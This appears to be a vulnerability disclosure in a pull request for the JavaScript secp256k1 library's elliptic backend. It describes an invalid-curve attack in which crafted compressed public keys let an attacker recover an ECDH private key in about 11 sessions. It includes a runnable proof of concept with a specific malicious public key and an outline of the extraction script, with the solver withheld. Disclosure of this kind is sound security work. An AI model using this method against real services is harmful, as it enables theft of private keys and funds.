fix(feat): Improper Validation of Integrity Check Value allows private key extraction over ECDH

[lamcodeofpwnosec]

What changed? Why?

Improper Validation of Integrity Check Value That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak

The curve equation is Y^2 = X^3 + 7, and it restores Y from X in loadCompressedPublicKey, using Y = sqrt(X^3 + 7), but when there are no valid Y values satisfying Y^2 = X^3 + 7 for a given X, the same code calculates a solution for -Y^2 = X^3 + 7, and that solution also satisfies some other equation Y^2 = X^3 + D, where D is not equal to 7 and might be on a curve with factorizable cardinality, so (X,Y) might be a low-order point on that curve, lowering the number of possible ECDH output values to bruteforcable

PoC

import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'crypto'

const pub = Buffer.from('028ac57f9c6399282773c116ef21f7394890b6140aa6f25c181e9a91e2a9e3da45', 'hex')

const seen = new Set()
for (let i = 0; i < 1000; i++) {
  try {
    seen.add(Buffer.from(secp256k1.ecdh(pub, randomBytes(32))).toString('hex'))
  } catch {
    seen.add('failure also is an outcome')
  }
}

console.log(seen.size) // 39

Full attack
This PoC doesn't list the exact public keys or the code for solver.js intentionally, but this exact code works, on arbitrary random private keys:

// Only the elliptic version is affected, gyp one isn't
// Node.js can use both, Web/RN/bundles always use the elliptic version
import secp256k1 from 'secp256k1/elliptic.js'

import { randomBytes } from 'node:crypto'
import assert from 'node:assert/strict'
import { Solver } from './solver.js'

const privateKey = randomBytes(32)

// The full dataset is precomputed on a single MacBook Air in a few days and can be reused for any private key
const solver = new Solver

// We need to run on 10 specially crafted public keys for this
// Lower than 10 is possible but requires more compute
for (let i = 0; i < 10; i++) {
  const letMeIn = solver.ping() // this is a normal 33-byte Uint8Array, a 02/03-prefixed compressed public key
  assert(letMeIn instanceof Uint8Array) // true
  assert(secp256k1.publicKeyVerify(letMeIn)) // true

  // Returning ecdh value is not necessary but is used in this demo for simplicity
  // Solver needs to _confirm_ an ecdh value against a set of precalculated known ones,
  // which can be done even after it's hashed or used e.g. for a stream/block cipher, based on the encrypted data
  solver.callback(secp256k1.ecdh(letMeIn, privateKey))

  // Btw we have those precomputed so we can actually use those sessions to lower suspicion, most -- instantly
}

// Now, we need a single valid (or another invalid) public key to recheck things against
// It can be anything, e.g. we can specify an 11th one, or create a valid one and use it
// We'll be able to confirm/restore and use the ecdh value for this session too upon privateKey extraction
const anyPublicKey = secp256k1.publicKeyCreate(randomBytes(32))
assert(secp256k1.publicKeyVerify(anyPublicKey)) // true (obviously)

// Full complexity of this exploit requires solver to perform ~ 2^35 ecdh value checks (for all 10 keys combined),
// which is ~ 1 TiB -- that can be done offline and does not require any further interaction with the target
// The exact speed of the comparison step depends on how the ecdh values are used, but is not very significant
// Direct non-indexed linear scan over all possible (precomputed) values takes <10 minutes on a MacBook Air
// Confirming against e.g. cipher output would be somewhat slower, but still definitely possible + also could be precomputed
const extracted = solver.stab(anyPublicKey, secp256k1.ecdh(anyPublicKey, privateKey))

console.log(`Extracted private key:  ${extracted.toString('hex')}`)
console.log(`Actual private key was: ${privateKey.toString('hex')}`)

assert(extracted.toString('hex') === privateKey.toString('hex'))

console.log('Oops')

Impact

Remote private key is extracted over 11 ECDH sessions, The attack is very low-cost, precompute took a few days on a single MacBook Air, and extraction takes ~10 minutes on the same MacBook Air

Also:

• publicKeyVerify() misreports malicious public keys as valid
• Same affects tweak extraction from publicKeyTweakMul result and other public key operations

WeaknessCWE-200
WeaknessCWE-354

[cb-heimdall]

🟡 Heimdall Review Status

Requirement	Status	More Info
Reviews	🟡 0/1	Denominator calculation Show calculation 1 if user is bot 0 1 if user is external 0 From .codeflow.yml 1 Additional review requirements Show calculation Max 0 0 From CODEOWNERS 0 Global minimum 0 Max 1 1 1 if commit is unverified 0 Sum 1